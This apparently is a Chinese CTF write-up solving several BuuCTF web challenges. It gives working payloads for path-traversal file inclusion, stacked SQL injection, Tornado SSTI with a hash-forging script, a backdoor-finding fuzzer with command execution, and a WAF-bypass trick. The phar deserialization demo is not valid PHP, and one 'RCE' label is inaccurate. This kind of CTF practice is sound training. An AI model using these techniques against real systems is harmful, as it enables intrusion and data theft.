1. 程式人生 > 實用技巧 >BuuCTF Web Writeup

BuuCTF Web Writeup

WarmUp

index.php

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

訪問source.php

題目原始碼

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
          
            ----- A
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
          	----- A
              
            ----- B
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
          	----- B
                
          	----- C
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
          	----- C
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

題目原型

phpMyAdmin檔案包含漏洞

程式碼審計

0x00 include $_REQUEST['file']; 存在檔案包含漏洞

0x01 A段檢測傳入的$page是否為白名單中的值

0x02 B段檢測$page?前部分是否為白名單中的值

0x03 C段先對 $_page進行url解碼後再檢測$_page?前部分是否為白名單中的值

解題思路

0x00 構造如下基礎結構的$_REQUEST['file']進行任意檔案讀取

payload: ?file=aaa/../bbb

如何理解aaa/../bbb

aaa/表示當前檔案同級目錄下的資料夾名(不檢測該檔案是否存在)

../bbb表示aaa/資料夾所在目錄的父級目錄下的檔名

father
├── aaa(資料夾 不一定要存在)
└── bbb(檔案 一定要存在)

0x01 滿足 emmm:checkFile($_REQUEST['file']) == True

解題方法

A段無法利用

令B段返回True

payload: ?file=source.php?/../../../../etc/passwd

通過回顯知道payload正確,根據hint.php的提示得到flag

payload: ?file=source.php?/../../../../ffffllllaaaagggg

網上有人說include中不能有?,不清楚是什麼情況,本人測試中沒遇到問題

故也可以利用C段進行?的繞過

payload: ?file=source.php%253f/../../../../ffffllllaaaagggg

別忘了對%進行編碼轉換為 %25,因為url解析會自動進行url解碼

疑問解析

之前有人有疑問表示不清楚目錄穿越到底要穿多少層才能到根目錄

其實多寫幾個../就可以了,因為一旦到根目錄了,寫幾個../都還是在根目錄上

隨便注

先進行簡單測試,發現存在過濾

payload: ?inject=' union select 1,2,3--+
return : return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

測試中發現存在堆疊注入

查詢當前資料庫表結構

payload: ?inject=';show tables;desc `1919810931114514`;desc words;

MariaDB [test]> desc `1919810931114514`;  --A
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| flag  | varchar(100) | NO   |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.01 sec)

MariaDB [test]> desc words;  --B
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id    | int(10)     | NO   |     | NULL    |       |
| data  | varchar(20) | NO   |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

有一個細節在A和B處,這個細節在之後至關重要

A用全數字做表名,在使用時需要用反引號包裹,不然會產生錯誤,但如果半數字半字元則不需要

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name  | varchar(100) | NO   |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.01 sec)

MariaDB [test]> desc 1919810931114514;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1919810931114514' at line 1

題目有多種解法,一下進行三種解法的解析

0x00 重新命名

通過測試可以猜測後臺sql程式碼

$sql = select id, data from words where id = '{$id}';

解題思路

0x00 把1919810931114514改名為words,之後將1919810931114514中的欄位flag改名為id

0x01 利用mysql特性構造' or '1得到flag

解題過程

payloaf: ?inject=';rename table `words` to `w`; rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(255);desc words;
return : 
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(12) "varchar(255)"
  [2]=>
  string(3) "YES"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

回顯可以判斷修改成功

payload: ?inject=1' or '1
return : 
array(1) {
  [0]=>
  string(42) "flag{287b6180-ddd5-43a7-9f38-4d38defd1013}"
}

payload代入sql語句

$sql = select id, data from words where id = '1' or '1'; =>
$sql = select id, data from words where 1;               =>
$sql = select id, data from words;

MySQL ALTER

用於修改資料表名或者修改資料表字段

刪除,新增欄位

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)

MariaDB [test]> alter table 0d4y add age int;
Query OK, 0 rows affected (0.01 sec)
Records: 0  Duplicates: 0  Warnings: 0

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name  | varchar(255) | YES  |     | NULL    |       |
| age   | int(11)      | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

MariaDB [test]> alter table 0d4y drop age;
Query OK, 0 rows affected (0.01 sec)
Records: 0  Duplicates: 0  Warnings: 0

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)

修改欄位

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)

MariaDB [test]> alter table 0d4y modify name varchar(100);
Query OK, 1 row affected (0.02 sec)
Records: 1  Duplicates: 0  Warnings: 0

MariaDB [test]> desc 0d4y;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| name  | varchar(100) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)

MariaDB [test]> alter table 0d4y change `name` `id` int;
Query OK, 1 row affected, 1 warning (0.02 sec)
Records: 1  Duplicates: 0  Warnings: 1

MariaDB [test]> desc 0d4y;
+-------+---------+------+-----+---------+-------+
| Field | Type    | Null | Key | Default | Extra |
+-------+---------+------+-----+---------+-------+
| id    | int(11) | YES  |     | NULL    |       |
+-------+---------+------+-----+---------+-------+
1 row in set (0.00 sec)

0x01 預處理

MySQL使用者變數定義格式

set @v = xxx;

解題思路

0x00 將查詢flag的sql語句預定義

0x01 執行預定義sql語句

解題過程

payload: ?inject=';set @s = concat('s', 'elect * from `1919810931114514`');prepare a from @s; execute a;
return : strstr($inject, "set") && strstr($inject, "prepare")

回顯表示setprepare不能同時存在

payload: ?inject=';Set @s = concat('s', 'elect * from `1919810931114514`');prepare a from @s;execute a;
return : 
array(1) {
  [0]=>
  string(42) "flag{21e33093-12e2-4d51-852a-1db8bcab4ff6}"
}

MySQL PREPARE

PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //刪除預定義SQL語句
MariaDB [test]> prepare flag from "select * from 0d4y";
Query OK, 0 rows affected (0.00 sec)
Statement prepared

MariaDB [test]> execute flag;
+------+
| id   |
+------+
|    0 |
+------+
1 row in set (0.00 sec)

MariaDB [test]> drop prepare flag;
Query OK, 0 rows affected (0.00 sec)

easy_tornado

題目提示

-- /flag.txt
flag in /fllllllllllllag

-- /welcome.txt
render

-- /hints.txt
md5(cookie_secret+md5(filename))

解題思路

0x00 render模板渲染暗示存在SSTI服務端模板注入攻擊

0x01 handler.settings儲存配置選項,包括cookie_secret

解題方法

訪問檔案時觀察url

payload: /file?filename=/welcome.txt&filehash=1ee0dabf22eb0879a60444267ed3e063

存在檔案讀取點,訪問/fllllllllllllag

頁面跳轉至/error?msg=Error

嘗試SSTI

payload: /error?msg={{handler.settings}}

介面回顯: {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '9c83fab7-1b67-404c-9aa8-69453579ac8c'}

exp.py

import hashlib
import requests


def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()


filename = "/fllllllllllllag"
cookie_secret = "9c83fab7-1b67-404c-9aa8-69453579ac8c"
filehash = md5(cookie_secret + md5(filename))
url = "http://93dc9c40-c8fc-4f2c-bce7-e28fae7437a6.node2.buuoj.cn.wetolink.com:82/file?filename=%s&filehash=%s" % (filename, filehash)
html = requests.get(url)

print(html.text)

高明的黑客

審計程式碼

拷貝下原始碼後發現有3000份檔案,審計檔案程式碼發現程式碼非常混亂

仔細觀察可以看到程式碼中存在非常多的$_GET以及$_POST,以及命令執行函式

$_GET['xd0UXc39w'] = ' ';
assert($_GET['xd0UXc39w'] ?? ' ');

但基本都如上段程式碼一樣無法利用

解題思路

0x00 先測試原始碼包中是否存在可以執行命令的點

0x01 程式碼量過大,指令碼執行時間可能會過長,開啟多執行緒

解題方法

# encoding: utf-8

import os
import requests
from concurrent.futures.thread import ThreadPoolExecutor

url = "http://localhost/CTF/BUUCTF/SmartHacker/src/"
path = "/Applications/XAMPP/xamppfiles/htdocs/CTF/BUUCTF/SmartHacker/src/"
files = os.listdir(path)
pool = ThreadPoolExecutor(max_workers=5)


def read_file(file):
    str = open(path + "/" + file, 'r').read()

    # catch GET
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'print "get---";'

    # catch POST
    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'print post---;'

    # eval assert
    r = requests.post(url + file, data=data, params=params)
    if 'get---' in r.text:
        print(file, "found!A!get method")
    elif 'post---' in r.text:
        print(file, "found!A!post method")

    # system
    for i in params:
        params[i] = 'echo get---;'

    for i in data:
        data[i] = 'echo post---;'

    r = requests.post(url + file, data=data, params=params)
    if 'get---' in r.text:
        print(file, "found!B!get method")
    elif 'post---' in r.text:
        print(file, "found!B!post method")


if __name__ == '__main__':

    for file in files:
        if not os.path.isdir(file):
            pool.submit(read_file, file)

指令碼結果

xk0SzyKwfzw.php found!B!get method

xk0SzyKwfzw.php$_GETsystem()結合的命令執行漏洞

審計程式碼

搜尋xk0SzyKwfzw.php中的$_GET全域性變數,在line 300發此現漏洞

$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
payload: /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag 

Dropbox(未完成)

上傳測試後發現只能上傳圖片型別檔案

抓包

POST /download.php HTTP/1.1
...
Cookie: PHPSESSID=94b78b93ffa19e6bc6d07e0da5307548
Connection: keep-alive
Upgrade-Insecure-Requests: 1

filename=%E5%9B%BE%E7%89%87%E9%A9%AC.png

放包之後會顯示檔案內容

目錄穿越

filename=../../../../../etc/passwd

顯示結果

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

題目中的主要檔案

.
├── class.php
├── delete.php
├── download.php
├── index.php
├── login.php
└── register.php

class.php是核心檔案

class.php(簡化)

<?php

class User {
    public $db;

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        ...
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

File類中的close()方法存在RCE vulnerability

Q: 如何利用RCE vulnerability?

程式碼中並不 unserialize(),但存在檔案上傳點

Attack PHP Deserialization Vulnerability via Phar

the Phar File Structure

0x00 A Stub

It can be interpreted as a flag and the format is xxx<?php xxx; __HALT_COMPILER();?>.The front content is not limited, but it must end with __HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as a phar file.

0x01 A Manitest Describing the Contents

A phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are included. This section also stores user-defined meta-data in serialized form, which is the core of the above attacks.

0x02 The File Contents

It is the contents of compressed file.

0x03 A signature for verifying Phar integrity

phar file format only

Demo

Construct a phar file according to the file structure, and PHP has a built-in class to handle related operations

Set the phar.readonly option in php.ini to Off, otherwise the phar file cannot be generated.

class Demo {
  @unlink("phar.phar");
  $phar = new Phar("phar.phar"); // suffix must be phar
  $phar->startBuffering();
  $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // set stub and disguise as gif
  $o = new file();
  $o->output = "phpinfo();";
  $phar->setMetadata($o); // store custom meta-data in manifest
  $phar->addFromString("test.txt", "test"); // compressed file
  $phar->stopBuffering(); // automatic computation of signature
};

未完成

[RoarCTF 2019]Easy Java

點選 help,跳轉到/Download?filename=help.docx,存在任意檔案讀取漏洞

java.io.FileNotFoundException:{help.docx} // 介面回顯

此時讀取檔案失敗,修改請求方法為 post

filename=/WEB-INF/web.xml

...
		// 敏感資訊
    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

...

簡述 servlet 的 url-pattern 匹配

上述資訊中<servlet>首先配置宣告一個 servlet,其中包括 servlet 名字以及其對應類名

<servlet-mapping>宣告與該 servlet 相應的匹配規則,每個<url-pattern> 代表一個匹配規則

當瀏覽器發起一個url請求後,該請求傳送到servlet容器的時候,容器先會將請求的url減去當前應用上下文的路徑作為 servlet 的對映 url,剩下的部分拿來做servlet的對映匹配

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

下載檔案進行反彙編

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "FlagController")
public class FlagController extends HttpServlet {
  String flag = "ZmxhZ3s1ZTNhNzBjMS0xNzk2LTRmNmQtODUyOC05ZmE1MzYzOGNhZTV9Cg==";
  
  protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    PrintWriter printWriter = paramHttpServletResponse.getWriter();
    printWriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
  }
}

什麼是WEB-INF & WEB-INF重要目錄和檔案

WEB-INF 是 JavaWeb 的安全目錄,所謂安全就是客戶端無法訪問,只有服務端可以訪問的目錄

  • /WEB-INF/web.xml

    Web應用程式配置檔案,描述了 servlet 和其他的應用元件配置及命名規則

  • /WEB-INF/classes/

    包含站點所有用的 class 檔案,包括 servlet class 和非servlet class,他們不能包含在 .jar檔案中

  • /WEB-INF/lib/

    存放 web 應用需要的各種 JAR 檔案

  • /WEB-INF/src/

    原始碼目錄,按照包名結構放置各個java檔案

  • /WEB-INF/database.properties

    資料庫配置檔案

[RoarCTF 2019]Easy Calc(未完成)

$('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("這啥?算不來!");
            }
        })
        return false;
    })

訪問calc.php得到後臺原始碼

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

過濾的常用字元

`$^[]'"%20

過濾了單引號,在構造payload時用chr()代替

/calc.php? num=1;var_dump(scandir(chr(47))); // /f1agg
/calc.php? num=1;readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
$payload = "/f1agg";
$arr = str_split($payload);
foreach ($arr as $a)
    echo "chr(".ord($a).").";
//chr(47).chr(102).chr(49).chr(97).chr(103).chr(103).

payload中有一個很關鍵的地方 num 前面有一個空格,因為題中存在 WAF,對 num 的值進行了校驗,直接傳 payload,會返回這啥?算不來,於是利用php字串解析特性繞過 WAF,此時 WAF 檢測到的變數名為%20num,不為 num,不進行校驗,但php儲存的變數名為 num

利用PHP的字串解析特性

PHP將查詢字串(在URL或正文中)轉換為內部$_GET或的關聯陣列$_POST的過程中會將某些字元刪除或用下劃線代替

如果一個 IDS/IPS 或 WAF 中有一條規則是當 news_id 引數的值是一個非數字的值則攔截,那麼我們就可以用以下語句繞過

%20news[id%00 // 這個變數名的值實際儲存在 $_GET["news_id"] 中

parse_str()通常被自動應用於 get 、post 請求和 cookie 中,對 URL 傳遞入的查詢字串進行解析

通過如下 fuzz 瞭解parse_str()如何處理特殊字元

foreach(["{chr}foo_bar", "foo{chr}bar", "foo_bar{chr}"] as $k => $arg) {
    for($i=0;$i<=255;$i++) {
        parse_str(str_replace("{chr}",chr($i),$arg),$o);
        if(isset($o["foo_bar"])) {
            echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
        } // bin2hex 將字元轉為16進位制數
    }
    echo "\n";
}
{chr}foo_bar -> 20 ( )
{chr}foo_bar -> 26 (&)
{chr}foo_bar -> 2b (+)

foo{chr}bar -> 20 ( )
foo{chr}bar -> 2b (+)
foo{chr}bar -> 2e (.)
foo{chr}bar -> 5b ([)
foo{chr}bar -> 5f (_)

foo_bar{chr} -> 00 ()
foo_bar{chr} -> 26 (&)
foo_bar{chr} -> 3d (=)